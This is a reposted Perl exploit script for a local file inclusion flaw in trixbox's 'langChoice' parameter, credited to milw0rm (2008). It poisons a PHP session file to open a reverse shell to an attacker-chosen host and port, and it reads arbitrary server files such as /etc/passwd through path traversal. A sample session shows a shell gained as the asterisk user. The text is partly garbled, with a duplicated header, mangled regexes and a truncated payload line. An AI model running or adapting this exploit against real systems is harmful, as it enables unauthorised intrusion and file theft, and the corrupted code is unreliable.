trixbox (langChoice) Local File Inclusion Exploit (connect-back)
发布时间：1970-01-01 作者：佚名 来源：互联网
#!/usr/bin/perl-w#Jean-MichelBESNARD-LEXSIAudit#2008-07-08#perltrixbox_fi.pl192.168.1.212#Pleaselistencarefullyasourmenuoptionhaschanged#Choosefromthefollowingoptions:#1>RemoteTCPshell#
#!/usr/bin/perl -w
# Jean-Michel BESNARD - LEXSI Audit
# 2008-07-08
# perl trixbox_fi.pl 192.168.1.212
# Please listen carefully as our menu option has changed
# Choose from the following options:
# 1> Remote TCP shell
# 2> Read local file
# 1
# Host and port the reverse shell should connect to ? (
:): 192.168.1.132:4444
# Make sure you've opened a server socket on port 4444 at 192.168.1.132 (e.g, nc -l -p 4444)
# Press enter to continue...
# done...
# nc -l -v -p 4444
# listening on [any] 4444 ...
# connect to [192.168.1.132] from [192.168.1.212] 46532
# JMB: no job control in this shell
# JMB: /root/.bashrc: Permission denied
# JMB-3.1$ id
# uid=102(asterisk) gid=103(asterisk) groups=103(asterisk)
use strict;
use Switch;
use LWP::UserAgent;
use HTTP::Cookies;
usage() unless @ARGV;
my $url = "http://$ARGV[0]/user/index.php";
my $ua = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new;
$ua->cookie_jar($cookie_jar);
menu();
sub execScript{
my $scriptCode = shift;
post($scriptCode);
my $phpsessionid = extractPHPSID($cookie_jar->as
_string);
post("langChoice=../../../../../tmp/sess_$phpsessionid ");
}
sub post{
my $postData = shift;
my $req = HTTP::Request->new(POST => $url);
$req->content_type('application/x-www-form-urlencoded');
$req->content($postData);
my $res = $ua->request($req);
my $content = $res->content;
return $content;
}
sub readFile{
my $file = shift;
my $content = post("langChoice=../../../../..$file ");
my @fileLines = split(/n/,$content);
my $fileContent = "Content of $file: nn";
for(my $i=3;$i<@fileLines;$i ){
last if($fileLines[$i] =~ m/trixbox - User Mode/);
$fileContent = $fileContent . $fileLines[$i-3] . "n";
}
return $fileContent;
}
sub tcp_reverse_shell{
my $rhost= shift;
my $rport = shift;
my $rshell = "langChoice=&S");open(STDOUT,">&S");open(STDERR,">&S");exec({"/bin/sh"} ("JMB", "-i"));'`;?> ";
execScript($rshell);
}
sub extractPHPSID{
$_ = shift;
if(/PHPSESSID=(w )/){
return $1;
}
}
sub menu{
print < Remote TCP shell
2> Read local file
EOF
my $option = ;
chop($option);
switch($option){
case 1 {
print "Host and port the reverse shell should connect to ? ";
print "(:): ";
my $hp=;
chop($hp);
my($rhost,$rport) = split(/:/,$hp);
print "Make sure you've opened a server socket on port $rport at $rhost (e.g, nc -l -p $rport)n";
print "Press enter to continue...";
;
tcp_reverse_shell($rhost,$rport);
print "done...n";
}
case 2 {
while(1){
print "Full path (e.g. /etc/passwd): ";
my $file = ;
chop($file);
print readFile($file) . "nn";
}
}
}
}
sub usage{
print "./trixbox_fi.pl n";
exit 1;
}
# milw0rm.com [2008-07-08]
